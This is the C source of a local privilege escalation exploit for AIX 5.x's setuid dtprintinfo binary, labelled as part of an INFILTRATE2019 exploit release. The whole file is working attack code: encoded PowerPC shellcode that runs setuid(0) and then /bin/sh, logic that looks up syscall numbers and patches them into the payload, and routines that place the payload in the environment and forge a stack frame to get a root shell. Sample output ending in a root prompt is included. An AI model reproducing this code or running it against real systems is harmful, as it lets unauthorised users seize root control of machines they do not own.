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aix_ppc_dtprintinfo.c
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aix_ppc_dtprintinfo.c
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/*
*** INFILTRATE2019 raptor party pack release ***
dtprintinfo LPE for AIX 5.X
disclaimer: this code is very old and hasn't been compiled in a minute ;)
...
$ Xvfb -ac :2
...
(aix 5.2) $ ./aix 192.168.1.100:2
[+] Found SYS_execve as 5
[+] Found SYS_setuid as 202
[+] Found SYS_sync as 248
[+] loading payload into enviroment ...
[+] Found SYS_execve as 5
[+] Found SYS_setuid as 202
[+] Found SYS_sync as 248
[+] got payload in environment ... 2ff22ed8 (auto-align: 4)
#
Love,
Bas
*/
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
/* payloads */
#define OFF_SYS_SYNC 27
#define OFF_SYS_SETUID 75
#define OFF_SYS_EXECVE 111
/* xfocus AIX 5.1 ppc decoder .. modified to include setuid(0) and use SYS_sync #224 */
unsigned char shellcode_universal[] =
// decoder
"\x7d\xce\x72\x79" // xor. %r14, %r14, %r14
"\x40\x82\xff\xfd" // bnel .main
"\x7d\xe8\x02\xa6" // mflr %r15
"\x39\xef\x01\x01" // addi %r15, %r15, 0x101
"\x39\xef\xff\x37" // addi %r15, %r15, -0xC9 # r15 point to start of real shellcode
"\x3a\x20\x01\x01" // li %r17, 0x101
"\x38\x51\xff\xdf" // addi %r2, %r17, -0x1F # r2=0xe2 syscall number of sync. (0xe0 on mine! -bas)
"\x3a\x31\xff\x47" // addi %r17, %r17, -0xD1 # shellcode size (modified to include setuid! -bas)
"\x7e\x51\x78\xae" // lbzx %r18, %r17, %r15 # read a character
"\x6a\x53\xfe\xfe" // xori %r19, %r18, 0xFEFE # xor
"\x7e\x71\x79\xae" // stbx %r19, %r17, %r15 # store a character
"\x36\x31\xff\xff" // subic. %r17, %r17, 1
"\x40\x80\xff\xf0" // bne Loop # loop
"\x4c\xc6\x33\x42" // crorc %cr6, %cr6, %cr6
"\x7d\xe8\x03\xa6" // mtlr %r15 # lr=real shellcode address
"\x44\xff\xff\x02" // svca 0
// ^ 0xfe encoded real shellcode
#ifdef __DEBUG__
"\x81\x1e\xfe\xf6" // trap
#else
// added setuid(0) .. SYS_setuid of 179 -bas
"\xc7\x11\xfe\xe6" // addi 15,15,24 # adjust r15 to point to the execve
"\x82\x9d\xe4\x86" // xor 3,3,3
"\xc6\xbe\xfe\x4d" // lil 2,179
"\xb2\x38\xcd\xbc" // crorc 6,6,6
"\x83\x16\xfd\x58" // mtlr 15 # so that setuid returns to execve in link register
"\xba\xfe\xfe\xfc" // svca 0
// execve /bin/sh
"\xc6\x91\xfe\xde" // addi %r3, %r15, 32
"\x6e\x9f\x01\x06" // stw %r3, -8(%r1)
"\x83\x3b\x8d\x86" // mr %r5, %r14
"\x6e\x5f\x01\x02" // stw %r5, -4(%r1)
"\xc6\x7f\x01\x06" // subi %r4, %r1, 8
"\xc6\xbe\xfe\xfb" // li %r2, 5
"\xb2\x38\xcd\xbc" // crorc %cr6, %cr6, %cr6
"\xba\xfe\xfe\xfc" // svca 0
"\xd1\x9c\x97\x90" // .byte '/', 'b', 'i', 'n',
"\xd1\x8d\x96\xfe" // '/', 's', 'h', 0x0
#endif
;
typedef struct prsyscall
{
uint32_t pr_number; /* syscall number */
uint32_t pr_nameoff; /* offset into sysent file to
* null terminated syscall name */
uint32_t pr__pad[6]; /* reserved for future use */
} prsyscall_t;
typedef struct prsysent /* this struct at offset 0 in sysent file */
{
uint64_t pr__pad[8]; /* reserved for future use */
uint32_t pr__pad1; /* reserved for future use */
uint32_t pr_nsyscalls; /* number of entries in prsyscall array */
prsyscall_t pr_syscall[1]; /* array of syscalls */
} prsysent_t;
struct syscall {
int number;
int offset;
};
unsigned char *
check_syscall(void)
{
char filename[256];
int pid, fd;
prsysent_t myprsysent;
prsyscall_t myprsyscall;
struct syscall syscall_array[1024];
unsigned int num, i;
FILE *file;
unsigned int SYS_sync = 0;
unsigned int SYS_setuid = 0;
unsigned int SYS_execve = 0;
pid = getpid();
sprintf(filename, "/proc/%d/sysent", pid);
fd = open(filename, O_RDONLY);
if (fd == -1)
{
perror("open");
exit(1);
}
i = read(fd, &myprsysent, sizeof(myprsysent));
num = myprsysent.pr_nsyscalls;
if (num > sizeof(syscall_array)/sizeof(struct syscall))
{
perror("array size");
close(fd);
exit(1);
}
syscall_array[0].number = myprsysent.pr_syscall[0].pr_number;
syscall_array[0].offset = myprsysent.pr_syscall[0].pr_nameoff;
for (i=1; i < num; i++)
{
read(fd, &myprsyscall, sizeof(myprsyscall));
syscall_array[i].number = myprsyscall.pr_number;
syscall_array[i].offset = myprsyscall.pr_nameoff;
}
close(fd);
file = fopen(filename, "rb");
if (!file)
{
perror("fopen");
exit(1);
}
for (i=0; i < num; i++)
{
char syscall_name[0x4000];
fseek(file, syscall_array[i].offset, SEEK_SET);
fscanf(file, "%s", syscall_name);
if (!strcmp("sync", syscall_name))
{
SYS_sync = syscall_array[i].number;
printf("[+] Found SYS_sync as %d\n", SYS_sync);
}
else if (!strcmp("setuid", syscall_name))
{
SYS_setuid = syscall_array[i].number;
printf("[+] Found SYS_setuid as %d\n", SYS_setuid);
}
else if (!strcmp("execve", syscall_name))
{
SYS_execve = syscall_array[i].number;
printf("[+] Found SYS_execve as %d\n", SYS_execve);
}
}
fclose(file);
if (!SYS_sync || !SYS_setuid || !SYS_execve)
{
perror("syscalls");
exit(1);
}
/* patch up payload with right syscalls */
shellcode_universal[OFF_SYS_SYNC] = (char)SYS_sync - 1;
shellcode_universal[OFF_SYS_SETUID] = (char)SYS_setuid ^ 0xfe;
shellcode_universal[OFF_SYS_EXECVE] = (char)SYS_execve ^ 0xfe;
return shellcode_universal;
}
/* exploit routines */
void
fake_lsallq(int argc, char **argv, char *buf)
{
printf("%s\n", buf);
}
#define FF_DWORDS 6
#define FF_PAD 64 /* prepad to frame */
#define ALIGN 0
#define DT_PATH "/usr/dt/bin/dtprintinfo"
int
main(int argc, char **argv)
{
unsigned char buf[ALIGN + FF_PAD + FF_DWORDS * sizeof(unsigned int) + 1];
unsigned int fake_frame[FF_DWORDS];
unsigned char lr_env[128];
unsigned char sc_env[256];
unsigned char dp_env[128];
unsigned char *p;
unsigned char *sc;
int i;
char *env[6];
/* exploit mode */
if (!strcmp(argv[0], "lsallq"))
{
p = buf;
memset(buf, 0x00, sizeof(buf));
fake_frame[0] = 0x41414141;
fake_frame[1] = 0x42424242;
fake_frame[2] = (unsigned int)strtol(getenv("LR"), NULL, 16);
fake_frame[3] = 0x44444444;
fake_frame[4] = 0x45454545;
fake_frame[5] = 0x46464646;
memset(p, 'A', ALIGN);
p += ALIGN;
memset(p, 'P', FF_PAD);
p += FF_PAD;
for (i = 0; i < FF_DWORDS; i ++)
{
memcpy(p, &fake_frame[i], sizeof(unsigned int));
p += 4;
}
fake_lsallq(argc, argv, buf);
exit(0);
}
if (argc == 1)
{
fprintf(stderr, "usage: %s xserver:display\n", argv[0]);
exit(1);
}
else
{
sc = check_syscall();
if (!sc)
exit(1);
}
sprintf(dp_env, "DISPLAY=%s", argv[1]);
env[0] = dp_env;
env[1] = "PATH=.:/usr/bin";
env[2] = "HOME=/tmp";
sprintf(sc_env, "MYSHELL=AAAA%s", sc); /* A's so we can shift to align on re-exec */
env[3] = sc_env;
sprintf(lr_env, "LR=0x41424344");
env[4] = lr_env;
env[5] = NULL;
if (!getenv("MYSHELL"))
{
/* reexec with payload in environment */
printf("[+] loading payload into enviroment ...\n");
execve(argv[0], argv, env);
}
else
{
p = getenv("MYSHELL");
int align = 4 - ((unsigned int)p % 4);
printf("[+] got payload in environment ... %x (auto-align: %d)\n", (unsigned int)p, align);
/* align the payload mod 4 */
memset(sc_env, 0x00, sizeof(sc_env));
strcat(sc_env, "MYSHELL=");
for(i = 0; i < align; i ++)
strcat(sc_env, "A");
strcat(sc_env, sc);
for(i = 0; i < 4 - align; i ++)
strcat(sc_env, "A");
/* pass the correct link register value */
sprintf(lr_env, "LR=0x%.8x", (unsigned int)p + align);
symlink(argv[0], "lsallq");
/* supply the same argv so env layout stays same */
execve(DT_PATH, argv, env);
}
fprintf(stderr, "[+] failed to execve: %s\n", DT_PATH);
exit(1);
}